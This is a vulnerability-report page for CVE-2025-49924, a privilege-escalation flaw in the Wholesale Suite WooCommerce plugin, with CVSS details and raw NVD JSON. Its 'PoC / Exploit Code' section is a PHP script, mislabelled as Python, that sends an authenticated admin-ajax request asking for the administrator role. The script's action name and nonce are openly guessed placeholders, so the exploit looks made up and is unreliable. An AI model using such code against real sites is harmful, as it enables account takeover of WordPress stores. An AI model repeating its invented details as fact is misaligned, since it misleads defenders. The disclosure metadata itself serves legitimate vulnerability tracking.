Security Vulnerability Report
中文
CVE-2025-49924 CVSS 7.2 HIGH

CVE-2025-49924

Published: 2025-10-22 15:15:38
Last Modified: 2026-04-27 20:16:18

Description

Incorrect Privilege Assignment vulnerability in Josh Kohlbach Wholesale Suite woocommerce-wholesale-prices allows Privilege Escalation.This issue affects Wholesale Suite: from n/a through <= 2.2.4.2.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Wholesale Suite (woocommerce-wholesale-prices) <= 2.2.4.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-49924 - Wholesale Suite Privilege Escalation PoC * Affected: Wholesale Suite (woocommerce-wholesale-prices) <= 2.2.4.2 * Vulnerability: Incorrect Privilege Assignment leading to Privilege Escalation */ // PoC concept: Exploit missing privilege validation in role assignment // Note: Actual exploitation requires authenticated session with valid cookies/nonces $target_url = 'https://target-wordpress-site.com'; $attacker_cookies = 'wordpress_logged_in_[hash]=YOUR_AUTH_COOKIE; wordpress_sec_[hash]=YOUR_SEC_COOKIE'; // Step 1: Identify the vulnerable endpoint // The Wholesale Suite plugin exposes AJAX/REST endpoints for role management // that lack proper privilege checks. // Step 2: Craft privilege escalation request // Exploit the role assignment functionality to elevate privileges $endpoint = $target_url . '/wp-admin/admin-ajax.php'; // Payload to trigger incorrect privilege assignment $payload = http_build_query([ 'action' => 'wholesale_customer_register', // Example action hook 'user_id' => 'ATTACKER_USER_ID', 'role' => 'administrator', // Request elevated role 'nonce' => 'BYPASSED_OR_GUESSED_NONCE', ]); // Step 3: Send the malicious request $ch = curl_init($endpoint); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $payload); curl_setopt($ch, CURLOPT_HTTPHEADER, [ 'Cookie: ' . $attacker_cookies, 'Content-Type: application/x-www-form-urlencoded', 'X-Requested-With: XMLHttpRequest', ]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); echo "Response: " . $response . "\n"; echo "If successful, the attacker's role has been elevated to administrator.\n"; // Alternative approach via REST API if exposed // $rest_endpoint = $target_url . '/wp-json/wholesale/v1/role'; // Send PUT/POST request with role=administrator parameter ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49924", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:38.327", "lastModified": "2026-04-27T20:16:17.770", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect Privilege Assignment vulnerability in Josh Kohlbach Wholesale Suite woocommerce-wholesale-prices allows Privilege Escalation.This issue affects Wholesale Suite: from n/a through <= 2.2.4.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-266"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/woocommerce-wholesale-prices/vulnerability/wordpress-wholesale-suite-plugin-2-2-4-2-privilege-escalation-vulnerability?_s_id=cve", "source": "[email protected]"}]}}